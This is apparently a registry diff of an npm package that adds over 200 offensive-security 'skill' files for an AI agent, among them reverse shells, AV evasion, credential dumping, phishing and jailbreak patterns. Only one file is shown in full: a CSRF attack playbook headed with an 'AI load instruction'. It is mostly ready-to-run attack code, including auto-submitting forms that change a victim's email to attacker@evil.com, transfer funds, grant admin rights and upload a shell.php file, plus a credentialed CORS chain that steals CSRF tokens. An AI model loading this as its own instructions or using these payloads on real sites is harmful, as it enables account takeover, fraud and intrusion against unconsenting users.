ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,526 @@
1
+ ---
2
+ name: csrf-cross-site-request-forgery
3
+ description: >-
4
+ CSRF testing playbook. Use when reviewing state-changing web flows, anti-CSRF defenses, SameSite behavior, JSON CSRF, login CSRF, and OAuth state handling.gated: true
5
+ ---
6
+
7
+ # SKILL: CSRF — Cross-Site Request Forgery — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert CSRF techniques. Covers modern bypass vectors (SameSite gaps, custom header flaws, tokenless bypass patterns), JSON CSRF, multipart CSRF, chaining with XSS. Base models often present only basic CSRF without covering SameSite edge cases and common broken token implementations.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ Also load:
14
+
15
+ - [cors cross origin misconfiguration](../cors-cross-origin-misconfiguration/SKILL.md) when JSON endpoints become readable cross-origin
16
+ - [oauth oidc misconfiguration](../oauth-oidc-misconfiguration/SKILL.md) when login, account linking, or callback binding relies on OAuth state
17
+
18
+ ---
19
+
20
+ ## 1. CORE CONCEPT
21
+
22
+ CSRF exploits a victim's active session to perform state-changing requests **from the attacker's origin**.
23
+
24
+ **Required conditions**:
25
+ 1. Victim is authenticated (active session cookie)
26
+ 2. Server identifies session via cookie only (no secondary check)
27
+ 3. Attacker can predict/construct the valid request
28
+ 4. Cookie is sent cross-origin (SameSite=None or legacy behavior)
29
+
30
+ ---
31
+
32
+ ## 2. FINDING CSRF TARGETS
33
+
34
+ **High-value state-changing endpoints**:
35
+ ```
36
+ - Password change ← account takeover
37
+ - Email change ← account takeover
38
+ - Add admin / change role ← privilege escalation
39
+ - Bank/payment transfer ← financial impact
40
+ - OAuth app authorization ← hijack oauth flow
41
+ - Account deletion
42
+ - Two-factor auth disable
43
+ - SSH key / API key addition
44
+ - Webhook configuration
45
+ - Profile/contact info update
46
+ ```
47
+
48
+ ---
49
+
50
+ ## 3. TOKEN BYPASS TECHNIQUES
51
+
52
+ ### No Token Present
53
+ Simplest case — form simply lacks CSRF token. Check if POST /change-email has any token. If not → trivially exploitable.
54
+
55
+ ### Token Not Validated (most common finding!)
56
+ Token exists in request but is never verified server-side:
57
+ ```
58
+ Remove the _csrf_token parameter entirely → does request still succeed?
59
+ → YES → trivial bypass
60
+ ```
61
+
62
+ ### Token Tied to Session but Not to User
63
+ ```
64
+ Step 1: Log in as UserA → obtain valid CSRF token
65
+ Step 2: Log in as UserB in other browser → obtain UserB CSRF token
66
+ Step 3: Use UserB's CSRF token in UserA's session (attacker controls UserB)
67
+ → If server validates token exists but doesn't check if it belongs to the session → bypass
68
+ ```
69
+
70
+ ### Token in Cookie Only
71
+ When server sets CSRF token as cookie and expects it back in a header/form:
72
+ ```
73
+ Set-Cookie: csrf=ATTACKER_CONTROLLED
74
+ → If cookie can be set by subdomain (cookie tossing): set cookie to known value
75
+ → Submit form with known token in header + known token in cookie = bypass
76
+ ```
77
+
78
+ ### Static or Predictable Token
79
+ ```
80
+ → Same token across all users/sessions
81
+ → Token = base64(username) or md5(session_id) → reversible
82
+ → Token = timestamp → predictable
83
+ ```
84
+
85
+ ### Double Submit Cookie Pattern (broken if subdomain trusted)
86
+ ```
87
+ If attacker can write cookies for .target.com from subdomain XSS or cookie tossing:
88
+ → Set csrf_cookie=CONTROLLED on .target.com
89
+ → Submit request with X-CSRF-Token: CONTROLLED
90
+ → Server checks header == cookie → match → bypass
91
+ ```
92
+
93
+ ---
94
+
95
+ ## 4. SAMESITE BYPASS SCENARIOS
96
+
97
+ **SameSite=Lax** (modern browser default): cookies sent for top-level GET navigation, NOT for cross-site iframe/form POST.
98
+
99
+ **Bypass SameSite=Lax via GET method**:
100
+ ```html
101
+ <!-- If server accepts GET for state-changing endpoint: -->
102
+ <img src="https://target.com/account/delete?confirm=yes">
103
+ <script>document.location = 'https://target.com/transfer?to=attacker&amount=1000';</script>
104
+ ```
105
+
106
+ **Bypass via subdomain XSS (SameSite Lax/Strict)**:
107
+ ```javascript
108
+ // XSS on sub.target.com → same-site origin → SameSite cookies sent!
109
+ // Use XSS as staging point for CSRF
110
+ window.location = 'https://target.com/account/modify?evil=true';
111
+ ```
112
+
113
+ **SameSite=None** (legacy or explicit): cookies sent everywhere → classic CSRF applies.
114
+
115
+ **Cookie issued recently? Lax exemption:**
116
+ Chrome has a 2-minute exception where Lax cookies ARE sent on cross-site POSTs if the cookie was just set (for OAuth flows). Race window: set cookie, immediately trigger CSRF within 2 minutes.
117
+
118
+ ---
119
+
120
+ ## 5. CSRF PROOF OF CONCEPT TEMPLATES
121
+
122
+ ### Simple Form POST
123
+ ```html
124
+ <html>
125
+ <body>
126
+ <form id="csrf" action="https://target.com/account/email/change" method="POST">
127
+ <input type="hidden" name="email" value="attacker@evil.com">
128
+ <input type="hidden" name="confirm_email" value="attacker@evil.com">
129
+ </form>
130
+ <script>document.getElementById('csrf').submit();</script>
131
+ </body>
132
+ </html>
133
+ ```
134
+
135
+ ### Auto-click Submit
136
+ ```html
137
+ <body onload="document.forms[0].submit()">
138
+ <form action="https://target.com/transfer" method="POST">
139
+ <input name="to" value="attacker_account">
140
+ <input name="amount" value="10000">
141
+ </form>
142
+ </body>
143
+ ```
144
+
145
+ ### CSRF via GET (with img tag)
146
+ ```html
147
+ <img src="https://target.com/api/v1/admin/delete-user?id=12345" style="display:none">
148
+ ```
149
+
150
+ ### CSRF with Custom Header (XMLHttpRequest — same-origin only, defeats naive defenses)
151
+ If API requires custom header like `X-CSRF-Token` but also accepts JSON with wildcard CORS — custom headers don't protect if CORS misconfigured:
152
+ ```javascript
153
+ // If Access-Control-Allow-Origin: * with credentials → broken
154
+ var xhr = new XMLHttpRequest();
155
+ xhr.open("POST", "https://target.com/api/transfer");
156
+ xhr.setRequestHeader("Content-Type", "application/json");
157
+ xhr.withCredentials = true; // still need cookie sending
158
+ xhr.send('{"to":"attacker","amount":1000}');
159
+ ```
160
+
161
+ ---
162
+
163
+ ## 6. JSON CSRF
164
+
165
+ When endpoint accepts `Content-Type: application/json` — fetch() with CORS credentials:
166
+
167
+ ```javascript
168
+ // If CORS allows credentials + the endpoint:
169
+ fetch('https://target.com/api/v1/change-email', {
170
+ method: 'POST',
171
+ credentials: 'include',
172
+ headers: {'Content-Type': 'application/json'},
173
+ body: JSON.stringify({email: 'attacker@evil.com'})
174
+ });
175
+ ```
176
+ **Requires**: `Access-Control-Allow-Origin: https://attacker.com` AND `Access-Control-Allow-Credentials: true`
177
+
178
+ **If server only accepts `application/json` but no fetch CORS:**
179
+ Can't do proper JSON CSRF from HTML form (forms can only send `application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain`).
180
+
181
+ **Trick — Content-Type Downgrade**: If server processes `text/plain` body as JSON:
182
+ ```html
183
+ <form enctype="text/plain" method="POST" action="https://target.com/api">
184
+ <input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
185
+ </form>
186
+ ```
187
+ Resulting body: `{"email":"attacker@evil.com","ignore":"="}`
188
+
189
+ ---
190
+
191
+ ## 7. MULTIPART CSRF
192
+
193
+ When changing `Content-Type` from `application/json` to `multipart/form-data` and request still works:
194
+ ```html
195
+ <form method="POST" action="https://target.com/api/update" enctype="multipart/form-data">
196
+ <input name="email" value="attacker@evil.com">
197
+ </form>
198
+ ```
199
+
200
+ ---
201
+
202
+ ## 8. CSRF + XSS COMBINATION (CSRF Token Bypass)
203
+
204
+ When CSRF protection is otherwise solid, XSS enables CSRF bypass:
205
+ ```javascript
206
+ // Step 1: XSS reads CSRF token from DOM
207
+ var token = document.querySelector('input[name="csrf_token"]').value;
208
+ // Step 2: Submit CSRF request with real token
209
+ var xhr = new XMLHttpRequest();
210
+ xhr.open('POST', '/account/delete', true);
211
+ xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
212
+ xhr.send('confirm=yes&csrf_token=' + token);
213
+ ```
214
+
215
+ ---
216
+
217
+ ## 9. OAUTH CSRF (STATE PARAMETER MISSING)
218
+
219
+ OAuth flow without `state` parameter → CSRF on the OAuth authorization:
220
+
221
+ **Attack**:
222
+ 1. Attacker initiates OAuth flow, gets authorization code
223
+ 2. Before exchanging code, stops the flow (captures the redirect URL with code)
224
+ 3. Sends victim the crafted URL: `https://target.com/oauth/callback?code=ATTACKER_CODE`
225
+ 4. Victim's browser exchanges the attacker's code → victim's account linked to attacker's OAuth provider
226
+
227
+ **Impact**: Attacker can log in as victim.
228
+
229
+ ---
230
+
231
+ ## 10. CSRF TESTING CHECKLIST
232
+
233
+ ```
234
+ □ Remove CSRF token entirely → does request succeed?
235
+ □ Change CSRF token to random value → does request succeed?
236
+ □ Use CSRF token from another user's session → does request succeed?
237
+ □ Check if GET version of POST endpoint exists
238
+ □ Check SameSite attribute of session cookie
239
+ □ Test if Content-Type change (json → form → text/plain) still processes
240
+ □ Check CORS policy: does Access-Control-Allow-Credentials: true appear?
241
+ With wildcard or attacker origin? → exploitable JSON CSRF
242
+ □ Check OAuth flows for missing state parameter
243
+ □ Test referrer-based protection: send request with no Referer header
244
+ □ Test referrer-based protection: spoof subdomain in referer
245
+ ```
246
+
247
+ ---
248
+
249
+ ## 11. JSON CSRF TECHNIQUES
250
+
251
+ ### Method 1: text/plain Disguise
252
+
253
+ ```html
254
+ <!-- Browser sends Content-Type: text/plain with JSON-like body -->
255
+ <form action="https://target.com/api/role" method="POST" enctype="text/plain">
256
+ <input name='{"role":"admin","ignore":"' value='"}' type="hidden">
257
+ <input type="submit" value="Click me">
258
+ </form>
259
+ <!-- Resulting body: {"role":"admin","ignore":"="} -->
260
+ <!-- Server may parse as JSON if it doesn't strictly check Content-Type -->
261
+ ```
262
+
263
+ ### Method 2: XHR with Credentials
264
+
265
+ ```html
266
+ <script>
267
+ var xhr = new XMLHttpRequest();
268
+ xhr.open("POST", "https://target.com/api/role", true);
269
+ xhr.withCredentials = true;
270
+ xhr.setRequestHeader("Content-Type", "application/json");
271
+ xhr.send('{"role":"admin"}');
272
+ </script>
273
+ <!-- Only works if CORS allows the origin (misconfigured CORS + CSRF combo) -->
274
+ ```
275
+
276
+ ### Method 3: fetch() API
277
+
278
+ ```html
279
+ <script>
280
+ fetch("https://target.com/api/role", {
281
+ method: "POST",
282
+ credentials: "include",
283
+ headers: {"Content-Type": "text/plain"},
284
+ body: '{"role":"admin"}'
285
+ });
286
+ </script>
287
+ ```
288
+
289
+ ---
290
+
291
+ ## 12. MULTIPART CSRF & CLIENT-SIDE PATH TRAVERSAL
292
+
293
+ ### Multipart File Upload CSRF
294
+
295
+ ```html
296
+ <script>
297
+ var formData = new FormData();
298
+ formData.append("file", new Blob(["malicious content"], {type: "text/plain"}), "shell.php");
299
+ formData.append("action", "upload");
300
+
301
+ fetch("https://target.com/upload", {
302
+ method: "POST",
303
+ credentials: "include",
304
+ body: formData
305
+ });
306
+ </script>
307
+ ```
308
+
309
+ ### Client-Side Path Traversal to CSRF (CSPT2CSRF)
310
+
311
+ ```
312
+ Normal flow: Frontend fetches /api/user/PROFILE_ID/settings
313
+ Attack: Set PROFILE_ID to ../../admin/dangerous-action
314
+
315
+ Result: Frontend's fetch() hits /api/admin/dangerous-action with victim's cookies
316
+ This converts a path traversal into a CSRF-like attack without needing a CSRF token
317
+ ```
318
+
319
+ | Aspect | Traditional CSRF | CSPT2CSRF |
320
+ |---|---|---|
321
+ | Origin | Attacker's site | Same-origin JavaScript |
322
+ | Token bypass | Needs token forgery | No token needed (same-origin) |
323
+ | SameSite | Blocked by SameSite=Strict | Bypasses SameSite (same site!) |
324
+ | Detection | Standard CSRF checks | Requires input validation on path segments |
325
+
326
+ ---
327
+
328
+ ## 13. SAMESITE=LAX ADVANCED BYPASS TECHNIQUES
329
+
330
+ ### 13.1 Top-level navigation via `window.open()` (2-minute window)
331
+
332
+ Chrome's Lax+POST exception: cookies with `SameSite=Lax` are sent on cross-site POST requests if the cookie was set within the last 2 minutes (exists for OAuth flows).
333
+
334
+ ```javascript
335
+ // Attacker page: trigger login to set a fresh cookie, then immediately CSRF
336
+ // Step 1: Force victim to visit target (sets fresh session cookie)
337
+ window.open('https://target.com/login');
338
+ // Step 2: Within 2 minutes, POST to state-changing endpoint
339
+ setTimeout(() => {
340
+ const form = document.createElement('form');
341
+ form.method = 'POST';
342
+ form.action = 'https://target.com/account/change-email';
343
+ form.innerHTML = '<input name="email" value="attacker@evil.com">';
344
+ document.body.appendChild(form);
345
+ form.submit();
346
+ }, 5000);
347
+ ```
348
+
349
+ ### 13.2 302 redirect chain from attacker site
350
+
351
+ Lax cookies are sent on top-level GET navigations. A redirect chain converts GET into action:
352
+
353
+ ```text
354
+ 1. Attacker page → 302 redirect to https://target.com/transfer?to=attacker&amount=1000
355
+ 2. Browser follows redirect as top-level navigation → Lax cookies sent
356
+ 3. If target accepts GET for state-changing operations → CSRF succeeds
357
+ ```
358
+
359
+ ### 13.3 Method override: POST disguised as GET
360
+
361
+ Many frameworks support method override via `_method` parameter:
362
+
363
+ ```text
364
+ GET /account/delete?_method=DELETE&confirm=yes HTTP/1.1
365
+ GET /transfer?_method=POST&to=attacker&amount=1000 HTTP/1.1
366
+ ```
367
+
368
+ Headers that trigger method override:
369
+ ```text
370
+ X-HTTP-Method-Override: POST
371
+ X-Method-Override: DELETE
372
+ _method=PUT (Rails, Laravel, Symfony)
373
+ ```
374
+
375
+ SameSite=Lax allows the GET → framework processes it as POST/DELETE via override → CSRF on "POST-only" endpoints.
376
+
377
+ ---
378
+
379
+ ## 14. ADVANCED JSON CSRF TECHNIQUES
380
+
381
+ ### 14.1 Flash-based Content-Type manipulation (legacy)
382
+
383
+ Flash (pre-2021) could send arbitrary `Content-Type` headers cross-origin without preflight:
384
+
385
+ ```actionscript
386
+ var req:URLRequest = new URLRequest("https://target.com/api/role");
387
+ req.method = "POST";
388
+ req.contentType = "application/json";
389
+ req.data = '{"role":"admin"}';
390
+ navigateToURL(req);
391
+ ```
392
+
393
+ Legacy but still relevant for older internal applications.
394
+
395
+ ### 14.2 fetch() no-cors mode limitations and workarounds
396
+
397
+ `fetch()` in `no-cors` mode can send simple requests but cannot set `Content-Type: application/json` (triggers preflight) or read the response.
398
+
399
+ Workaround — if the server accepts `text/plain` body and parses it as JSON:
400
+
401
+ ```javascript
402
+ fetch('https://target.com/api/role', {
403
+ method: 'POST',
404
+ mode: 'no-cors',
405
+ credentials: 'include',
406
+ headers: {'Content-Type': 'text/plain'},
407
+ body: '{"role":"admin"}'
408
+ });
409
+ ```
410
+
411
+ ### 14.3 Encoding JSON as form-urlencoded
412
+
413
+ Some backends accept both content types:
414
+
415
+ ```html
416
+ <form action="https://target.com/api/role" method="POST">
417
+ <input name="role" value="admin">
418
+ <input name="user_id" value="123">
419
+ </form>
420
+ ```
421
+
422
+ If the server processes `role=admin&user_id=123` the same as `{"role":"admin","user_id":123}` → CSRF via plain HTML form without CORS preflight.
423
+
424
+ ---
425
+
426
+ ## 15. CSRF + CORS MISCONFIGURATION CHAINS
427
+
428
+ ### Reflected Origin + Credentials
429
+
430
+ ```text
431
+ 1. Target API reflects Origin in Access-Control-Allow-Origin
432
+ 2. Access-Control-Allow-Credentials: true
433
+ 3. Attacker page sends credentialed fetch() from https://evil.com
434
+ 4. Response is readable → CSRF token extracted from response
435
+ 5. Second request with valid CSRF token → bypass all CSRF defenses
436
